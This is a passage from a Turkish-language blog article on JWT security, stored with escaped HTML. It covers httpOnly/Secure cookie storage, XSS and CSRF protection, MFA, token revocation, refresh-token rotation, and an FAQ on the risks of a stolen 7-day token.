Secure Flag’li \u00c7erezler (Cookies):<\/strong>\n
JWT’leri (\u00f6zellikle Refresh Token’lar\u0131) taray\u0131c\u0131n\u0131n Local Storage’\u0131 yerine httpOnly<\/code> ve Secure<\/code> flag’leri ile i\u015faretlenmi\u015f \u00e7erezlerde saklamak, XSS sald\u0131r\u0131lar\u0131na kar\u015f\u0131 \u00f6nemli bir koruma sa\u011flar. httpOnly<\/code> flag’i, JavaScript’in \u00e7ereze eri\u015fmesini engellerken, Secure<\/code> flag’i ise \u00e7erezin yaln\u0131zca HTTPS \u00fczerinden g\u00f6nderilmesini sa\u011flar. Bu, token’\u0131n a\u011f \u00fczerinden \u015fifresiz g\u00f6nderilmesini ve k\u00f6t\u00fc ama\u00e7l\u0131 JavaScript kodlar\u0131 taraf\u0131ndan \u00e7al\u0131nmas\u0131n\u0131 engeller.<\/p>\nSet-Cookie: jwt_token=eyJ...; HttpOnly; Secure; SameSite=Lax; Path=\/; Expires=Sat, 07 Dec 2024 12:00:00 GMT<\/code><\/pre>\nYukar\u0131daki \u00f6rnekte, HttpOnly<\/code> ve Secure<\/code> flag’leri ile birlikte SameSite=Lax<\/code> (CSRF korumas\u0131 i\u00e7in) ve Expires<\/code> (ge\u00e7erlilik s\u00fcresi) belirtilmi\u015ftir.<\/p>\n<\/li>\n- Cross-Site Request Forgery (CSRF) ve Cross-Site Scripting (XSS) Korumas\u0131:<\/strong>\n
Uygulaman\u0131z\u0131 XSS’e kar\u015f\u0131 korumak i\u00e7in, kullan\u0131c\u0131 girdilerini her zaman do\u011frulamal\u0131 ve sanitasyon (temizleme) yapmal\u0131s\u0131n\u0131z. G\u00fcvenli kodlama uygulamalar\u0131 (\u00f6rne\u011fin, DOM manip\u00fclasyonunda g\u00fcvenli API’ler kullanmak) ve Content Security Policy (CSP) uygulamak, XSS riskini azalt\u0131r. CSRF’e kar\u015f\u0131 korunmak i\u00e7in ise, \u00e7erezlerde saklanan token’lar i\u00e7in SameSite<\/code> \u00f6zelli\u011fini kullanmal\u0131 veya her istekte benzersiz bir CSRF token’\u0131 eklemelisiniz. SameSite=Lax<\/code> veya Strict<\/code>, \u00e7o\u011fu CSRF sald\u0131r\u0131s\u0131n\u0131 \u00f6nler.<\/p>\n<\/li>\n- \u00c7ok Fakt\u00f6rl\u00fc Kimlik Do\u011frulama (MFA):<\/strong>\n
Kullan\u0131c\u0131lar\u0131n hesaplar\u0131na eri\u015firken birden fazla do\u011frulama fakt\u00f6r\u00fc (\u00f6rne\u011fin, \u015fifre ve cep telefonuna g\u00f6nderilen kod) kullanmas\u0131n\u0131 zorunlu k\u0131lmak, bir JWT \u00e7al\u0131nsa bile yetkisiz eri\u015fimi b\u00fcy\u00fck \u00f6l\u00e7\u00fcde zorla\u015ft\u0131r\u0131r. MFA, sald\u0131rgan\u0131n yaln\u0131zca token’a sahip olmas\u0131yla yetinmesini engeller.<\/p>\n<\/li>\n
- Token \u0130ptali (Revocation) Mekanizmas\u0131:<\/strong>\n
Durumsuz JWT’lerin do\u011fas\u0131 gere\u011fi iptal edilmesi zor olsa da, sunucu taraf\u0131nda bir kara liste (blacklist) veya iptal listesi (revocation list) tutarak \u00e7al\u0131nan veya \u015f\u00fcpheli g\u00f6r\u00fclen token’lar\u0131 ge\u00e7ersiz k\u0131lmak m\u00fcmk\u00fcnd\u00fcr. Bir kullan\u0131c\u0131 \u015fifresini de\u011fi\u015ftirdi\u011finde veya \u015f\u00fcpheli bir oturum alg\u0131land\u0131\u011f\u0131nda, ilgili t\u00fcm aktif token’lar bu listeye eklenerek ge\u00e7ersiz hale getirilebilir. Ancak bu, sunucu taraf\u0131nda ek bir durum y\u00f6netimi gerektirir ve JWT’nin “stateless” yap\u0131s\u0131ndan k\u0131smen \u00f6d\u00fcn vermek anlam\u0131na gelir.<\/p>\n<\/li>\n
- Rate Limiting (Oran S\u0131n\u0131rlamas\u0131):<\/strong>\n
API u\u00e7 noktalar\u0131na gelen istekleri s\u0131n\u0131rlamak, \u00e7al\u0131nan bir token ile ger\u00e7ekle\u015ftirilebilecek k\u00f6t\u00fc niyetli eylemlerin h\u0131z\u0131n\u0131 ve kapsam\u0131n\u0131 k\u0131s\u0131tlar. \u00d6rne\u011fin, belirli bir IP adresinden veya kullan\u0131c\u0131dan belirli bir zaman diliminde \u00e7ok say\u0131da ba\u015far\u0131s\u0131z giri\u015f denemesi veya hassas veri iste\u011fi geldi\u011finde, bu istekler ge\u00e7ici olarak engellenebilir.<\/p>\n<\/li>\n
- G\u00fcncel G\u00fcvenlik Yamalar\u0131 ve G\u00fcvenlik Denetimleri:<\/strong>\n
Kullan\u0131lan t\u00fcm k\u00fct\u00fcphanelerin, framework’lerin ve sunucu yaz\u0131l\u0131mlar\u0131n\u0131n g\u00fcncel g\u00fcvenlik yamalar\u0131n\u0131 d\u00fczenli olarak uygulamak, bilinen g\u00fcvenlik a\u00e7\u0131klar\u0131n\u0131n istismar edilmesini engeller. Ayr\u0131ca, d\u00fczenli g\u00fcvenlik denetimleri (penetration testing) ve kod incelemeleri yapmak, potansiyel zafiyetleri proaktif olarak tespit etmeye yard\u0131mc\u0131 olur.<\/p>\n<\/li>\n<\/ol>\n
Bu \u00f6nlemlerin bir kombinasyonunu uygulamak, JWT tabanl\u0131 kimlik do\u011frulama sistemlerinin g\u00fcvenli\u011fini \u00f6nemli \u00f6l\u00e7\u00fcde art\u0131r\u0131r ve \u00e7al\u0131nan token’lar\u0131n yol a\u00e7abilece\u011fi hasar\u0131 minimize eder. G\u00fcvenlik, tek bir \u00e7\u00f6z\u00fcmden ziyade katmanl\u0131 bir yakla\u015f\u0131mla sa\u011flan\u0131r.<\/p>\n
Refresh Token Mekanizmas\u0131: Uzun \u00d6m\u00fcrl\u00fc Oturumlar \u0130\u00e7in G\u00fcvenli Bir Yakla\u015f\u0131m<\/h3>\n
Daha \u00f6nce de bahsetti\u011fimiz gibi, JWT’lerin k\u0131sa ge\u00e7erlilik s\u00fcreleri g\u00fcvenlik a\u00e7\u0131s\u0131ndan arzu edilirken, kullan\u0131c\u0131 deneyimi a\u00e7\u0131s\u0131ndan s\u0131k\u0131nt\u0131lar yaratabilir. \u0130\u015fte bu noktada Refresh Token (Yenileme Token’\u0131) mekanizmas\u0131 devreye girer. Refresh Token, uzun \u00f6m\u00fcrl\u00fc oturumlar\u0131 g\u00fcvenli bir \u015fekilde y\u00f6netmek i\u00e7in Access Token (Eri\u015fim Token’\u0131) ile birlikte kullan\u0131lan ikincil bir token’d\u0131r. Bu mekanizma, g\u00fcvenlik ve kullan\u0131labilirlik aras\u0131nda optimal bir denge kurmay\u0131 ama\u00e7lar.<\/p>\n
Refresh Token Nas\u0131l \u00c7al\u0131\u015f\u0131r?<\/h4>\n
Refresh Token mekanizmas\u0131 genellikle \u015fu ad\u0131mlar\u0131 i\u00e7erir:<\/p>\n
\n- Giri\u015f (Login):<\/strong> Kullan\u0131c\u0131 ba\u015far\u0131l\u0131 bir \u015fekilde giri\u015f yapt\u0131\u011f\u0131nda, sunucu hem k\u0131sa \u00f6m\u00fcrl\u00fc bir Access Token hem de uzun \u00f6m\u00fcrl\u00fc bir Refresh Token olu\u015fturur.<\/li>\n
- Access Token Kullan\u0131m\u0131:<\/strong> \u0130stemci, API istekleri i\u00e7in Access Token’\u0131 kullan\u0131r. Bu token’\u0131n ge\u00e7erlilik s\u00fcresi k\u0131sa oldu\u011fu i\u00e7in (\u00f6rne\u011fin 15-30 dakika), \u00e7al\u0131nmas\u0131 durumunda sald\u0131rgan\u0131n kullanabilece\u011fi zaman penceresi dard\u0131r.<\/li>\n
- Access Token S\u00fcresinin Dolmas\u0131:<\/strong> Access Token’\u0131n s\u00fcresi doldu\u011funda, istemci API’ye yetkisiz eri\u015fim hatas\u0131 al\u0131r.<\/li>\n
- Yeni Access Token Talebi:<\/strong> \u0130stemci, s\u00fcresi dolan Access Token yerine, elindeki Refresh Token’\u0131 kullanarak sunucudan yeni bir Access Token talep eder. Bu talep genellikle \u00f6zel bir “refresh” veya “token yenileme” u\u00e7 noktas\u0131na yap\u0131l\u0131r.<\/li>\n
- Refresh Token Do\u011frulamas\u0131:<\/strong> Sunucu, gelen Refresh Token’\u0131 do\u011frular (ge\u00e7erli olup olmad\u0131\u011f\u0131n\u0131, s\u00fcresinin dolup dolmad\u0131\u011f\u0131n\u0131, iptal edilip edilmedi\u011fini kontrol eder). E\u011fer Refresh Token ge\u00e7erliyse, sunucu yeni bir Access Token (ve iste\u011fe ba\u011fl\u0131 olarak yeni bir Refresh Token) olu\u015fturur ve istemciye g\u00f6nderir.<\/li>\n
- Oturumun Devam\u0131:<\/strong> \u0130stemci, yeni Access Token’\u0131 kullanarak uygulamay\u0131 kullanmaya devam eder.<\/li>\n<\/ol>\n
Refresh Token Mekanizmas\u0131n\u0131n Avantajlar\u0131<\/h4>\n\n- Geli\u015ftirilmi\u015f G\u00fcvenlik:<\/strong> Access Token’lar\u0131n k\u0131sa \u00f6m\u00fcrl\u00fc olmas\u0131, \u00e7al\u0131nmalar\u0131 durumunda sald\u0131rgan\u0131n hasar verme s\u00fcresini s\u0131n\u0131rlar.<\/li>\n
- Geli\u015ftirilmi\u015f Kullan\u0131c\u0131 Deneyimi:<\/strong> Kullan\u0131c\u0131lar\u0131n her Access Token s\u00fcresi doldu\u011funda yeniden giri\u015f yapmas\u0131 gerekmez, bu da daha ak\u0131c\u0131 bir deneyim sa\u011flar.<\/li>\n
- Token \u0130ptali Kolayl\u0131\u011f\u0131:<\/strong> Refresh Token’lar genellikle veritaban\u0131nda sakland\u0131\u011f\u0131 i\u00e7in, \u015f\u00fcpheli durumlarda (\u00f6rne\u011fin, kullan\u0131c\u0131 \u015fifresini de\u011fi\u015ftirdi\u011finde veya oturumu kapatt\u0131\u011f\u0131nda) kolayca iptal edilebilirler. Bu, \u00e7al\u0131nan bir Refresh Token’\u0131n etkisini s\u0131n\u0131rlamak i\u00e7in kritik bir \u00f6zelliktir.<\/li>\n<\/ul>\n
Refresh Token G\u00fcvenli\u011fi \u0130\u00e7in \u00d6nemli Noktalar<\/h4>\n
Refresh Token’lar\u0131n kendileri de hassas bilgiler i\u00e7erdi\u011fi i\u00e7in \u00f6zel bir koruma gerektirir:<\/p>\n
\n- G\u00fcvenli Depolama:<\/strong> Refresh Token’lar kesinlikle taray\u0131c\u0131n\u0131n Local Storage’\u0131nda saklanmamal\u0131d\u0131r. Bunun yerine,
httpOnly<\/code> ve Secure<\/code> flag’leri ile i\u015faretlenmi\u015f \u00e7erezlerde saklanmal\u0131d\u0131r. Bu, XSS sald\u0131r\u0131lar\u0131na kar\u015f\u0131 korunmalar\u0131n\u0131 sa\u011flar.<\/li>\n- Tek Kullan\u0131ml\u0131k veya Rotasyon:<\/strong> Her kullan\u0131ld\u0131\u011f\u0131nda Refresh Token’\u0131n yenisiyle de\u011fi\u015ftirilmesi (token rotasyonu) veya tek kullan\u0131ml\u0131k olmas\u0131, bir Refresh Token \u00e7al\u0131nsa bile tekrar kullan\u0131lamamas\u0131n\u0131 sa\u011flar. Bu, \u00f6zellikle Replay (Tekrar Oynatma) sald\u0131r\u0131lar\u0131na kar\u015f\u0131 etkilidir.<\/li>\n
- Ge\u00e7erlilik S\u00fcresi:<\/strong> Refresh Token’lar\u0131n ge\u00e7erlilik s\u00fcresi Access Token’lara g\u00f6re daha uzun olsa da, bu s\u00fcrenin de makul s\u0131n\u0131rlar i\u00e7inde tutulmas\u0131 \u00f6nemlidir (\u00f6rne\u011fin, 7 g\u00fcn, 14 g\u00fcn veya 30 g\u00fcn). \u00c7ok uzun \u00f6m\u00fcrl\u00fc Refresh Token’lar da risk olu\u015fturabilir.<\/li>\n
- IP Tabanl\u0131 K\u0131s\u0131tlamalar:<\/strong> Bir Refresh Token ile yeni Access Token talep edildi\u011finde, iste\u011fin geldi\u011fi IP adresinin, Refresh Token’\u0131n orijinalde verildi\u011fi IP adresiyle e\u015fle\u015fip e\u015fle\u015fmedi\u011fini kontrol etmek ek bir g\u00fcvenlik katman\u0131 sa\u011flar. IP adresi de\u011fi\u015firse, token ge\u00e7ersiz say\u0131labilir.<\/li>\n
- Kullan\u0131c\u0131 Ajan\u0131 Kontrol\u00fc:<\/strong> Refresh Token ile yap\u0131lan isteklerde, kullan\u0131c\u0131n\u0131n taray\u0131c\u0131\/cihaz bilgilerinin (User-Agent) de kontrol edilmesi, token’\u0131n farkl\u0131 bir cihazdan kullan\u0131lmas\u0131n\u0131 engellemeye yard\u0131mc\u0131 olabilir.<\/li>\n<\/ul>\n
Refresh Token mekanizmas\u0131, modern kimlik do\u011frulama sistemlerinde uzun \u00f6m\u00fcrl\u00fc oturumlar\u0131n g\u00fcvenli\u011fini sa\u011flamak i\u00e7in kabul g\u00f6rm\u00fc\u015f en iyi uygulamalardan biridir. Ancak, do\u011fru \u015fekilde uygulanmas\u0131 ve yukar\u0131da belirtilen g\u00fcvenlik \u00f6nlemlerinin al\u0131nmas\u0131, bu mekanizman\u0131n etkinli\u011fini art\u0131r\u0131r.<\/p>\n
Sonu\u00e7 ve S\u0131k\u00e7a Sorulan Sorular<\/h3>\n
JWT’ler, modern web uygulamalar\u0131n\u0131n kimlik do\u011frulama ve yetkilendirme s\u00fcre\u00e7leri i\u00e7in g\u00fc\u00e7l\u00fc ve esnek bir \u00e7\u00f6z\u00fcm sunar. Ancak, 7 g\u00fcn gibi uzun ge\u00e7erlilik s\u00fcreleriyle kullan\u0131ld\u0131\u011f\u0131nda ve \u00e7al\u0131nd\u0131\u011f\u0131nda, kullan\u0131c\u0131 hesaplar\u0131n\u0131n ele ge\u00e7irilmesinden hassas veri s\u0131z\u0131nt\u0131lar\u0131na, finansal doland\u0131r\u0131c\u0131l\u0131ktan sistem \u00fczerinde k\u00f6t\u00fc niyetli eylemlere kadar bir dizi ciddi g\u00fcvenlik riskini beraberinde getirir. Bu makalede ele ald\u0131\u011f\u0131m\u0131z gibi, \u00e7al\u0131nan bir token, sald\u0131rganlara geni\u015f bir istismar penceresi sunarak hem kullan\u0131c\u0131n\u0131n hem de uygulaman\u0131n g\u00fcvenli\u011fini tehlikeye atar.<\/p>\n
Bu riskleri minimize etmek i\u00e7in, geli\u015ftiricilerin g\u00fcvenlik odakl\u0131 bir yakla\u015f\u0131m benimsemesi \u015fartt\u0131r. K\u0131sa \u00f6m\u00fcrl\u00fc Access Token’lar ile Refresh Token mekanizmas\u0131n\u0131n birle\u015fimi, httpOnly<\/code> ve Secure<\/code> flag’li \u00e7erezlerde depolama, XSS ve CSRF korumalar\u0131, \u00e7ok fakt\u00f6rl\u00fc kimlik do\u011frulama ve token iptali gibi \u00f6nlemler, JWT tabanl\u0131 sistemlerin dayan\u0131kl\u0131l\u0131\u011f\u0131n\u0131 \u00f6nemli \u00f6l\u00e7\u00fcde art\u0131r\u0131r. G\u00fcvenlik, s\u00fcrekli bir \u00e7aba ve katmanl\u0131 bir savunma stratejisi gerektirir. Unutmay\u0131n ki, en iyi g\u00fcvenlik uygulamalar\u0131n\u0131 takip etmek, hem kullan\u0131c\u0131lar\u0131n\u0131z\u0131 koruman\u0131n hem de uygulaman\u0131z\u0131n itibar\u0131n\u0131 sa\u011flam tutman\u0131n anahtar\u0131d\u0131r.<\/p>\nS\u0131k\u00e7a Sorulan Sorular (SSS)<\/h4>\n\n- JWT nedir ve neden kullan\u0131l\u0131r?<\/strong>\n
JWT (JSON Web Token), web uygulamalar\u0131nda kullan\u0131c\u0131 kimlik do\u011frulama ve yetkilendirme i\u00e7in kullan\u0131lan, kompakt ve URL g\u00fcvenli bir token format\u0131d\u0131r. Durumsuz (stateless) yap\u0131s\u0131 sayesinde sunucu taraf\u0131nda oturum bilgisi tutulmas\u0131na gerek kalmaz, bu da \u00f6l\u00e7eklenebilirli\u011fi art\u0131r\u0131r ve mikroservis mimarileri i\u00e7in idealdir.<\/p>\n<\/li>\n
- 7 g\u00fcnl\u00fck bir JWT \u00e7al\u0131n\u0131rsa ne gibi riskler ortaya \u00e7\u0131kar?<\/strong>\n
7 g\u00fcnl\u00fck bir JWT \u00e7al\u0131n\u0131rsa, sald\u0131rgan bu token’\u0131 bir hafta boyunca kullanarak kullan\u0131c\u0131n\u0131n hesab\u0131na yetkisiz eri\u015fim sa\u011flayabilir, hassas verileri \u00e7alabilir, finansal i\u015flemler ger\u00e7ekle\u015ftirebilir veya k\u00f6t\u00fc niyetli eylemlerde bulunabilir. Uzun ge\u00e7erlilik s\u00fcresi, sald\u0131rgan\u0131n hasar verme penceresini geni\u015fletir.<\/p>\n<\/li>\n
- JWT’leri Local Storage’da saklamak g\u00fcvenli midir?<\/strong>\n
Hay\u0131r, JWT’leri taray\u0131c\u0131n\u0131n Local Storage’\u0131nda saklamak genellikle g\u00fcvenli de\u011fildir. Local Storage, XSS (Cross-Site Scripting) sald\u0131r\u0131lar\u0131na kar\u015f\u0131 savunmas\u0131zd\u0131r; k\u00f6t\u00fc ama\u00e7l\u0131 JavaScript kodu, Local Storage’daki token’a kolayca eri\u015fip onu \u00e7alabilir. Bu nedenle, httpOnly<\/code> ve Secure<\/code> flag’leri ile i\u015faretlenmi\u015f \u00e7erezler tercih edilmelidir.<\/p>\n<\/li>\n- Refresh Token mekanizmas\u0131 nas\u0131l \u00e7al\u0131\u015f\u0131r ve neden \u00f6nemlidir?<\/strong>\n
Refresh Token mekanizmas\u0131, k\u0131sa \u00f6m\u00fcrl\u00fc Access Token’lar ile uzun \u00f6m\u00fcrl\u00fc Refresh Token’lar\u0131 birle\u015ftirerek hem g\u00fcvenlik hem de kullan\u0131c\u0131 deneyimi sa\u011flar. Access Token’\u0131n s\u00fcresi doldu\u011funda, istemci Refresh Token’\u0131 kullanarak sunucudan yeni bir Access Token talep eder. Bu, kullan\u0131c\u0131lar\u0131n s\u0131k s\u0131k yeniden giri\u015f yapmas\u0131n\u0131 engellerken, \u00e7al\u0131nan Access Token’\u0131n kullan\u0131m s\u00fcresini s\u0131n\u0131rlar.<\/p>\n<\/li>\n
- \u00c7al\u0131nan bir JWT’yi iptal etmek m\u00fcmk\u00fcn m\u00fcd\u00fcr?<\/strong>\n
JWT’ler do\u011fas\u0131 gere\u011fi durumsuz oldu\u011fu i\u00e7in, s\u00fcresi dolmadan do\u011frudan iptal edilmesi zordur. Ancak, sunucu taraf\u0131nda bir kara liste (blacklist) veya iptal listesi (revocation list) tutularak \u00e7al\u0131nan token’lar ge\u00e7ersiz k\u0131l\u0131nabilir. Bu, JWT’nin “stateless” yap\u0131s\u0131ndan k\u0131smen \u00f6d\u00fcn vermek anlam\u0131na gelse de, \u00e7al\u0131nan token’lar\u0131n etkisini s\u0131n\u0131rlamak i\u00e7in etkili bir y\u00f6ntemdir.<\/p>\n<\/li>\n<\/ol>\n
#JWTG\u00fcvenli\u011fi #WebGeli\u015ftirme #SiberG\u00fcvenlik #KimlikDo\u011frulama #TokenH\u0131rs\u0131zl\u0131\u011f\u0131<\/p>\n